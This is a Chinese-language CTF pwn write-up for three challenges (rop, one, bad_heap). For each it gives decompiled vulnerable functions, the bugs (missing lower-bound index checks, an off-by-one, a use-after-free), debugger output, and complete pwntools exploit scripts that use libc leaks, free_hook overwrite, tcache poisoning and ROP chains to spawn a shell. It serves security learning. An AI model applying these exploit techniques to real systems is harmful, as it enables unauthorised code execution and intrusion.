题目链接
rop
题目分析
有input和output两个函数,函数的参数是s
对s构造如下结构体后方便分析,由一个数组和一个变量index组成
1 2 3 4 5
| struct arr{ __int64 arr[9]; __int64 index; };
|
input
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| unsigned __int64 __fastcall input(arr *s) { __int64 index; char sa[40]; unsigned __int64 canary;
canary = __readfsqword(0x28u); index = s->index; if ( index <= 9 ) { puts("input your number:"); fgets(sa, 24, stdin); s->arr[index] = atoll(sa); ++s->index; } else { puts("input error"); } return __readfsqword(0x28u) ^ canary; }
|
漏洞点在于,当我们input8次后,s->index变成9,此时输入的number会写到s->index里,这时候我们就可以控制下次读入的位置了
而if的检查只检查上限,因此可以令s->index为一个负数值来修改负数下标处的内容
而s结构体的地址在main函数的栈帧上,因此我们有了在栈上任意写的能力
output
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| unsigned __int64 __fastcall output(arr *s) { __int64 index; unsigned __int64 canary;
canary = __readfsqword(0x28u); puts("index:"); __isoc99_scanf("%lld", &index); getchar(); if ( index <= 9 ) { puts("your number:"); printf("%lld\n", s->arr[index]); s->arr[index] = 0LL; --s->index; } else { puts("output error"); } return __readfsqword(0x28u) ^ canary; }
|
output也同样不检查index的下限,根据之前分析的可知,s在栈上,只要我们输入一个<=9的值,就可以泄露低地址处栈上的值,比如libc
攻击思路
实际的攻击更加简单,都不用覆写index
gdb调试input的内容可以发现
1 2 3 4 5 6 7 8 9 10 11
| pwndbg> tele 0x7fffffffde00 15 00:0000│-070 0x7fffffffde00 —▸ 0x401190 ◂— endbr64 01:0008│ rsp 0x7fffffffde08 —▸ 0x401523 ◂— jmp 0x4014cc 02:0010│ rax rdi 0x7fffffffde10 ◂— 0 ... ↓ 9 skipped 0c:0060│-010 0x7fffffffde60 —▸ 0x7fffffffdf60 ◂— 1 0d:0068│-008 0x7fffffffde68 ◂— 0xab2679a5e8c33c00 0e:0070│ rbp 0x7fffffffde70 ◂— 0
pwndbg> x $rdi 0x7fffffffde10: 0x00000000
|
也就是我们可以直接在返回地址附近写入攻击内容
先通过output泄露libc
再开始input的布置,由于output会让index-1,此时修改的位置就是返回地址,所以把返回地址的值复原回去
之后我们就可以布置返回地址后方的攻击链了
也就是从arr[0]开始,理论上来说应该是
1 2 3
| arr[0]:sh arr[1]:ret arr[2]:system
|
此时再通过多次output,令index=-1
写入arr[-1]:pop_rdi_ret 即劫持返回地址来触发完整攻击链
不过后续发现,output会把arr[0]清零,但是也很好处理,如下布置即可:
1 2 3 4 5 6
| arr[-1]:pop_rdi_ret arr[0]:0 arr[1]:pop_rdi arr[2]:sh arr[3]:ret arr[4]:system
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| from pwn import * context(arch='amd64',os='linux') io=process('./pwn') libc=ELF('./libc.so.6') def dbg(): gdb.attach(io) pause() def cmd(choice): io.recvuntil(b'>>') io.sendline(str(choice).encode()) def input(data): cmd(1) io.recvuntil(b'input your number:') io.sendline(str(data)) def output(index): cmd(2) io.recvuntil(b'index:') io.sendline(str(index))
output(-13) io.recvuntil(b'your number:\n') libc_base=int(io.recv(15))-0x8459a info("libc_base: "+hex(libc_base)) system=libc_base+libc.sym['system'] sh=libc_base+next(libc.search(b'/bin/sh\x00'),) pop_rdi=libc_base+next(libc.search(asm('pop rdi;ret'),executable=True)) ret=libc_base+next(libc.search(asm('ret;'),executable=True))
input(0x401523)
input(0) input(pop_rdi) input(sh) input(ret) input(system) for i in range(6): output(0) input(pop_rdi) io.interactive()
|
one
题目分析
开头有一个简单的检验,伪随机数绕过即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| int login() { unsigned int seed; int v2; int v3;
seed = time(0LL); srand(seed); v2 = rand() % 200; v3 = rand() % 100; puts("Let me know if u are not a rebot."); printf("%d+%d=?\n", v2, v3); if ( v2 + v3 != (unsigned int)readint() ) { puts("Get out robot"); exit(1); } return puts("Go on!"); }
|
接下来是四个交互都有的常规堆,漏洞点在edit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| unsigned __int64 edit() { signed int n8; unsigned __int64 v2;
v2 = __readfsqword(0x28u); puts("which one?"); __isoc99_scanf("%d", &n8); if ( (unsigned int)n8 > 8 || !*((_QWORD *)&clist + n8) ) { puts("sorry"); exit(1); } puts("what to change?"); read(0, *((void **)&clist + n8), slist[n8] + 1); puts("Finish!"); return __readfsqword(0x28u) ^ v2; }
|
非常明显的off-by-one
而且是2.31版本,检查不多,直接选择造成堆块复用然后打free_hook即可
麻烦的是题目没给版本,不过简单的测试一下回显的结果,就能确定libc的版本范围了
最后使用的是2.27-3ubuntu1.6_amd64这个版本的
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| from pwn import * from ctypes import * context(arch='amd64',os='linux') io=process('./pwn') lib=CDLL('./libc-2.27.so') libc=ELF('./libc-2.27.so') def init(): time=lib.time(0) lib.srand(time) io.recvuntil(b'?\n') io.sendline(str(lib.rand()%200+lib.rand()%100).encode()) def dbg(): gdb.attach(io) pause() def cmd(choice): io.recvuntil(b'5.exit\n') io.sendline(str(choice).encode()) def add(index,size,data): cmd(1) io.recvuntil(b'the index of command?\n') io.sendline(str(index).encode()) io.recvuntil(b'the size of command?\n') io.sendline(str(size).encode()) io.recvuntil(b'the command?\n') io.send(data) def delete(index): cmd(2) io.recvuntil(b'which one?\n') io.sendline(str(index).encode()) def edit(index,data): cmd(4) io.recvuntil(b'which one?\n') io.sendline(str(index).encode()) io.recvuntil(b'what to change?\n') io.send(data) def show(index): cmd(3) io.recvuntil(b'which one?\n') io.sendline(str(index).encode()) init() add(0,0x430,b'aaaa') add(1,0x20,b'aaaa') delete(0) add(0,0x20,b'aaaaaaaa') show(0) libc_base=u64(io.recvuntil(b'\x7f')[-6:].ljust(0x8,b'\x00'))-0x3ec0a0 info(hex(libc_base)) free_hook=libc_base+libc.sym['__free_hook'] add(2,0x400,b'aaaa')
add(3,0x38,b'aaa') add(4,0x38,b'aaa') add(5,0x38,b'aaa') edit(3,b'a'*(0x38)+p8(0x81)) delete(3) delete(4) add(4,0x78,b'aaa') delete(5) edit(4,b'a'*(0x38)+p64(0x41)+p64(free_hook))
add(5,0x38,b'/bin/sh\x00')
add(3,0x38,p64(libc_base+libc.sym['system']))
delete(5) io.interactive()
|
bad_heap
题目分析
有add,delete,show的2.35堆
add
主要限制了堆块的大小<=0x400
至于只能申请0x14个堆块倒是无所谓,因为并不检查哪些堆块是否正在使用,直接覆盖都可以
唯一有意思的检查是,判断申请到的堆块是不是在libc范围内,是就exit,这个后续会提及应对方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| unsigned __int64 add() { unsigned int n0x14_1; unsigned int n0x14; _DWORD nbytes[5];
*(_QWORD *)&nbytes[1] = __readfsqword(0x28u); puts("input idx:"); __isoc99_scanf("%d", &n0x14); if ( n0x14 >= 0x14 ) exit(0); puts("input size:"); __isoc99_scanf("%d", nbytes); if ( nbytes[0] > 0x400u ) exit(0); n0x14_1 = n0x14; *((_QWORD *)&list + 2 * (int)n0x14_1) = malloc(nbytes[0]); if ( *((_QWORD *)&list + 2 * (int)n0x14) >= (unsigned __int64)libc_start && *((_QWORD *)&list + 2 * (int)n0x14) <= (unsigned __int64)libc_end ) { exit(0); } dword_40A8[4 * n0x14] = nbytes[0]; puts("input content:"); read(0, *((void **)&list + 2 * (int)n0x14), nbytes[0]); return *(_QWORD *)&nbytes[1] - __readfsqword(0x28u); }
|
delete
明显的uaf漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| unsigned __int64 dele() { int v1; unsigned __int64 v2;
v2 = __readfsqword(0x28u); puts("input idx:"); __isoc99_scanf("%d", &v1); if ( *((_QWORD *)&list + 2 * v1) ) free(*((void **)&list + 2 * v1)); else puts("no!"); return v2 - __readfsqword(0x28u); }
|
show是常规流程
攻击流程
通过合理的排布堆块,让同一个chunck同时在unsortedbin和tcachebin中
再通过unsortedbin的合理切割,使得可以修改某个tcachebin中chunck的fd,完成tacahce posion即可
至于关于libc的检查不用担心,只是禁用了io
仍然有两种打法:
- 通过
tls_dtor_list劫持exit,但是题目没给ld文件,断网环境下也没有自配这个对应小版本的ld文件所以并没有使用
- 利用
environ攻击栈上返回地址,后续exp采用的就是这个方法
值得一提的是,environ地址与libc的关系
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| bss上的判断变量:libc_base & libc_end 10:0080│ 0x555555558080 —▸ 0x7ffff7c00000 ◂— 0x3010102464c457f 11:0088│ 0x555555558088 —▸ 0x7ffff7e1c000 ◂— 0
vmmap 0x7ffff7c00000 0x7ffff7c28000 r--p 28000 0 libc.so.6 0x7ffff7c28000 0x7ffff7dbd000 r-xp 195000 28000 libc.so.6 0x7ffff7dbd000 0x7ffff7e15000 r--p 58000 1bd000 libc.so.6 0x7ffff7e15000 0x7ffff7e16000 ---p 1000 215000 libc.so.6 0x7ffff7e16000 0x7ffff7e1a000 r--p 4000 215000 libc.so.6 0x7ffff7e1a000 0x7ffff7e1c000 rw-p 2000 219000 libc.so.6 0x7ffff7e1c000 0x7ffff7e29000 rw-p d000 0 [anon_7ffff7e1c] 0x7ffff7fb8000 0x7ffff7fbd000 rw-p 5000 0 [anon_7ffff7fb8]
pwndbg> p &environ $1 = (char ***) 0x7ffff7ffe2d0 <environ>
可以观察到,libc_base和libc_end确实对应了libc的起点终点,但是environ并不在这个范围内,而是在anon段 所以完全可以利用
|
我们需要先通过第一次poison申请到environ向前一点的内容,send发送覆盖到environ处即可
然后用show,使得覆盖的垃圾数据连带environ中存储的栈地址也泄露即可
之后再一次poison申请到栈上,攻击栈的返回地址为我们的攻击链即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| from pwn import * context(arch='amd64',os='linux') io=process('./pwn') libc=ELF('./libc.so.6') def dbg(): gdb.attach(io) pause() def cmd(choice): io.recvuntil(b'inputs your choice:\n') io.sendline(str(choice).encode()) def add(index,size,data=b'aaaa'): cmd(1) io.recvuntil(b'input idx:\n') io.sendline(str(index)) io.recvuntil(b'input size:\n') io.sendline(str(size)) io.recvuntil(b'input content:\n') io.send(data) def delete(index): cmd(2) io.recvuntil(b'input idx:\n') io.sendline(str(index)) def show(index): cmd(3) io.recvuntil(b'input idx:\n') io.sendline(str(index))
for i in range(10): add(i,0x200) for i in range(7): delete(i)
show(0) key=u64(io.recv(5).ljust(8,b'\x00')) info("key: "+hex(key))
delete(7) show(7) libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x21ace0 info("libc_base: "+hex(libc_base)) stdout=libc_base+libc.sym['_IO_2_1_stdout_'] info("stdout: "+hex(stdout)) environ=libc_base+libc.sym['environ']
delete(8)
add(0,0x200) delete(8) add(8,0x200)
delete(8) add(7,0x220,b'a'*(0x200)+p64(0x210)*2+p64((environ-0x10)^(key+1)))
add(8,0x200)
add(10,0x200,b'a'*(0x10)) show(10) io.recvuntil(b'a'*(0x10)) stack=u64(io.recv(6).ljust(8,b'\x00')) info("stack: "+hex(stack))
delete(7) delete(8) add(7,0x220,b'a'*(0x200)+p64(0x210)*2+p64((stack-0x148)^(key+1)))
add(8,0x200) dbg() payload=p64(0) payload+=p64(libc_base+next(libc.search(asm('pop rdi;ret'),executable=True))) payload+=p64(libc_base+next(libc.search(b'/bin/sh\x00'))) payload+=p64(libc_base+next(libc.search(asm('ret;'),executable=True))) payload+=p64(libc_base+libc.sym['system']) add(11,0x200,payload) io.interactive()
|